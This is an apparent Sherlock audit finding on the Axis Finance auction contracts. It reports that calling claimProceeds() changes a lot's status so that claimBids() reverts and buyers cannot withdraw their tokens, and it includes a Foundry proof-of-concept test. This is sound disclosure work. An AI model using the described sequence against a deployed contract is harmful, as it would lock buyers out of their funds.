Sparkly Champagne Owl

high

# Calling `AuctionHouse::claimProceeds()` will modify `Auction.Status`, causing `AuctionHouse::claimBids()` to revert and the buyer cannot withdraw the token.

Calling `AuctionHouse::claimProceeds()` will modify `Auction.Status`, causing `AuctionHouse::claimBids()` to revert and the buyer cannot withdraw the token.
## Summary

## Vulnerability Detail
After the auction ends, `auctionData[lotId_].status == Auction.Status.Settled`, anyone who calls `AuctionHouse::claimProceeds()` to execute `EMPAM::_claimProceeds()` will change the status to `Auction.Status.Claimed`
```js
    /// @inheritdoc AuctionModule
    function _claimProceeds(uint96 lotId_)
        internal
        override
        returns (uint96 purchased, uint96 sold, uint96 payoutSent)
    {
        // Update the status
@>        auctionData[lotId_].status = Auction.Status.Claimed;

        // Get the lot data
        Lot memory lot = lotData[lotId_];

        // Return the required data
        return (lot.purchased, lot.sold, lot.partialPayout);
    }
```
After that, the buyer calls `AuctionHouse::claimBids()` to extract the token, but the token cannot be extracted due to `EMPAM::AuctionModule::claimBids() -> _revertIfLotNotSettled(lotId_);`revert.
```js
    function claimBids(
        uint96 lotId_,
        uint64[] calldata bidIds_
    )
        external
        override
        onlyInternal
        returns (BidClaim[] memory bidClaims, bytes memory auctionOutput)
    {
        // Standard validation
        _revertIfLotInvalid(lotId_);
@>        _revertIfLotNotSettled(lotId_);

        // Call implementation-specific logic
        return _claimBids(lotId_, bidIds_);
    }
```
true `revert Auction_WrongState(lotId_)`
```js
    function _revertIfLotNotSettled(uint96 lotId_) internal view override {
        // Auction must be settled
@>        if (auctionData[lotId_].status != Auction.Status.Settled) {
            revert Auction_WrongState(lotId_);
        }
    }
```

### Poc
```js
    function testifClaimProceedsIsCalledClaimBidsWillBeRevert() public {
        // seller create auction
        sellerCreateAuction();
        // auction start
        vm.warp(_startTime);
        // init bidder
        address bidderOne = makeAddr("bidderOne");
        // bidderOne bid
        givenBidderTokenAndAllowance(bidderOne, _BID_AMOUNT);
        uint64 oneBidId = bidderCreateBid(bidderOne, _BID_AMOUNT, _BID_AMOUNT_OUT);
        // auction end
        vm.warp(_startTime + _DURATION + 1);
        // submitPrivateKey
        _module.submitPrivateKey(_lotId, _AUCTION_PRIVATE_KEY, 0); //
        // decryptAndSortBids
        EncryptedMarginalPriceAuctionModule.AuctionData memory auctionData = _getAuctionData(_lotId);
        _module.decryptAndSortBids(_lotId, auctionData.nextBidId - 1);
        // settle
        address everyOne = makeAddr("everyOne");
        vm.prank(everyOne);
        _auctionHouse.settle(_lotId);
        assert(_module.getLotStatus(_lotId) == Auction.Status.Settled);
        _auctionHouse.claimProceeds(_lotId, "");
        // status changed
        assert(_module.getLotStatus(_lotId) == Auction.Status.Claimed);

        uint64[] memory bidIds_ = new uint64[](1);
        bidIds_[0] = oneBidId;
        // claimBids revert
        bytes memory err = abi.encodeWithSelector(
            EncryptedMarginalPriceAuctionModule.Auction_WrongState.selector, _lotId
        );
        vm.expectRevert(err);
        _auctionHouse.claimBids(_lotId, bidIds_);
    } // testifClaimProceedsIsCalledClaimBidsWillBeRevert() (gas: 853505)
```
## Impact
Calling `AuctionHouse::claimProceeds()` will modify `Auction.Status`, causing `AuctionHouse::claimBids()` to revert and the buyer cannot withdraw the token.
## Code Snippet
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L840C1-L853C6
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/Auction.sol#L545-L560
https://github.com/sherlock-audit/2024-03-axis-finance/blob/cadf331f12b485bac184111cdc9ba1344d9fbf01/moonraker/src/modules/auctions/EMPAM.sol#L902-L907
## Tool used

Manual Review

## Recommendation
It is recommended to change the saving method of `AuctionHouse::claimProceeds() -> Auction.Status.Claimed` status
